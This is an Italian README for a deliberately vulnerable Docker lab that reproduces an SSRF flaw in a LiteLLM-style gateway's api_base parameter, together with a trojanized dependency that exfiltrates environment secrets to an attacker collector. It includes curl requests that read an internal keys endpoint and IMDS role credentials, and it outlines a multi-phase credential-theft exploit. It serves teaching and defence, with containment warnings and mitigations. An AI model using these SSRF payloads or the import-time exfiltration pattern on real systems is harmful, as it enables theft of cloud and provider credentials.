
Laboratorio Docker deliberatamente vulnerabile che riproduce CVE-2026-33634: SSRF del gateway LiteLLM tramite api_base più una dipendenza trojanizzata, con un exploit multifase per il furto di credenziali.
api_base (PoC / Lab)⚠️ Laboratorio deliberatamente vulnerabile, per uso educativo e autorizzato. Eseguilo solo sulla tua macchina, contro i container di questo repository. Leggi SECURITY-NOTES.md prima di iniziare.
🚫 NON eseguire MAI questo lab su una VM cloud né su una macchina condivisa. Il gateway ha SSRF irrestringibile di proposito: se esiste un IMDS reale (
169.254.169.254) o servizi sensibili sul loopback/ sulla LAN, l'SSRF li raggiunge davvero. Le porte sono pubblicate solo su127.0.0.1; mantienilo così. Usa un host isolato/usa e getta.
CVSS 9.4 (critico). Compromissione della supply chain del gateway LiteLLM
(marzo/2026): una dipendenza malevola in una lib di gateway ha esposto
l'intero portafoglio di credenziali dei provider di IA. Il pattern ricorrente
di questo livello appare insieme: chiave OpenAI nel proxy e SSRF nel parametro
api_base. Questo lab riproduce entrambe le falle e le concatena in un exploit.
litellm-telemetry-helper (in malicious-dep/) simula la
dipendenza transitiva compromessa. Nella narrativa dell'incidente, un pin debole
(>=0.9.6) avrebbe lasciato che il resolver tirasse la versione malevola 0.9.7 al posto
della 0.9.6 pulita. Il payload si attiva all'import (basta che il gateway risolva la
dipendenza) e, in un thread in background, esfiltra tutto l'ambiente
(OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_*, ...) verso un collector dell'
attaccante — silenziosamente, senza rompere l'applicazione.
api_baseIl proxy (gateway/app.py) accetta api_base (il base_url del
provider) proveniente dal chiamante, senza allowlist. L'attaccante controlla dove il
gateway effettua le richieste e il gateway inoltre:
Authorization, eCon questo si può: raggiungere servizi interni (/admin/keys), rubare
credenziali cloud nell'IMDS (169.254.169.254), port-scan della rete
interna e far trapelare la chiave di ogni provider puntando l'api_base di ritorno
verso l'attaccante.
HOST (tu / attaccante)
exploit.py ──POST /v1/chat/completions {api_base:…}──►┐
▲ │
└───────────GET /loot (localhost:8080)──┐ │
│ ▼
┌───────────────────────── rete docker "labnet" ───┼───────────────────┐
│ │ │
│ collector (attacker.lab:8080) ◄─ beacon supply-chain ── gateway │
│ • /beacon (exfil della dep malevola) │ (litellm │
│ • /collect (chiave trapelata via SSRF) │ :4000) │
│ • /oob (conferma SSRF cieco) │ │ SSRF │
│ • /loot ┘ │ (api_base)│
│ ▼ │
│ internal.lab:9000 /admin/keys (NON pubblicato) ◄───────┤ │
│ imds.lab:80 /latest/... (NON pubblicato) ◄───────┤ │
│ provider-mock.lab:9100 (upstream "normale") ◄───────┘ │
└──────────────────────────────────────────────────────────────────────┘
internal.lab e imds.lab non hanno porta pubblicata — solo l'SSRF del gateway
li raggiunge. È questo il punto del laboratorio.
Prerequisiti: Docker + Docker Compose v2, e Python 3.9+ con httpx per l'exploit.
cd CVE-2026-33634
# 1) avvia il lab (gateway :4000, collector :8080)
docker compose up -d --build # oppure: make up
# 2) installa il requisito dell'exploit
python3 -m pip install -r exploit/requirements.txt
# 3) esegui l'exploit completo
python3 exploit/exploit.py # oppure: make exploit
Eseguire fasi isolate:
python3 exploit/exploit.py --only recon,ssrf
python3 exploit/exploit.py --only internal # ruba solo il caveau interno
python3 exploit/exploit.py --only cloud # ruba solo le credenziali cloud
python3 exploit/exploit.py --only keyleak # fa trapelare solo le chiavi dei provider
python3 exploit/exploit.py --only supplychain # verifica solo il beacon della dep
Il loot completo viene salvato in loot.json. Osserva l'attaccante ricevere i dati:
docker compose logs -f collector # make collector-logs
curl -s http://localhost:8080/loot | python3 -m json.tool
# lettura arbitraria: caveau interno via SSRF
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://internal.lab:9000/admin/keys","messages":[]}' \
| python3 -m json.tool
# credenziali cloud via SSRF all'IMDS
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://imds.lab/latest/meta-data/iam/security-credentials/litellm-gateway-role","messages":[]}'
Questo lab privilegia la chiarezza didattica e la riproducibilità. Dove astrae l'incidente reale, è di proposito — e vale la pena conoscere le differenze:
import litellm_telemetry_helper esplicitamente, invece che il pacchetto sia una
dipendenza transitiva nascosta nell'albero del litellm reale. L'effetto
(payload all'import) è identico; la catena di risoluzione è stata accorciata.>=0.9.6 è la
narrativa (riga commentata in gateway/requirements.txt); nel lab la dep è
installata da ./malicious-dep via Dockerfile — non c'è un indice PyPI che risolve
0.9.7 su 0.9.6. Per esercitare la risoluzione davvero, avvia un indice
locale (pypiserver/devpi) con entrambe le versioni.api_base, il lab usa l'URL verbatim
quando c'è un path esplicito (per dimostrare la lettura di /admin/keys e dell'IMDS
in un unico parametro). Nel percorso OpenAI-compatibile, il LiteLLM reale concatena
un suffisso fisso (/chat/completions) e fa POST — il controllo di solito è dell'
host (chiave trapelata, SSRF per host) e il path arbitrario appare in rotte di
/health. L'impatto dimostrato (trapelamento del portafoglio + pivot
interno/cloud) è fedele; la costruzione esatta dell'URL è semplificata.SSRF (api_base)
169.254.0.0/16 (IMDS);
risolvi il DNS e valida l'IP prima di connetterti (attenzione al rebinding).hop-limit=1 sull'host cloud.Supply chain
--require-hashes, lockfile); niente >=.pip install come esecuzione di codice (install hooks); usa sandbox/CI isolato.Credenziali/segreto (baseline)
CVE-2026-33634/
├── docker-compose.yml # orchestra tutto sulla rete labnet
├── Makefile # up / down / logs / exploit
├── gateway/ # proxy LiteLLM-style VULNERABILE (SSRF + import della dep)
├── malicious-dep/ # la dipendenza trojanizzata (payload all'import)
├── collector/ # collector dell'attaccante (/beacon /collect /oob /loot)
├── internal-service/ # /admin/keys interno (solo via SSRF)
├── imds/ # mock del metadata service cloud (solo via SSRF)
├── provider-mock/ # upstream "normale" (contrasto)
├── exploit/exploit.py # exploit multi-fase (async)
├── SECURITY-NOTES.md # vulns intenzionali, contenimento e autorizzazione
└── README.md
| Fase | Tecnica |
|---|
recon | Fingerprint del gateway; enumera modelli/provider; rileva il sink api_base. |
ssrf | Conferma l'SSRF in modo cieco (out-of-band): forza un callback con token univoco al collector. |
scan | Port-scan della rete interna attraverso il gateway (concorrente). |
internal | SSRF → internal.lab/admin/keys: esfiltra l'intero caveau delle credenziali. |
cloud | SSRF → IMDS: ruba credenziali STS temporanee del ruolo dell'istanza. |
keyleak | Punta api_base verso l'attaccante; il gateway fa trapelare la chiave di ogni provider nell'Authorization. |
supplychain | Legge il loot: la dep trojanizzata ha già esfiltrato l'ambiente all'import. |
report | Consolida l'impatto e scrive loot.json. |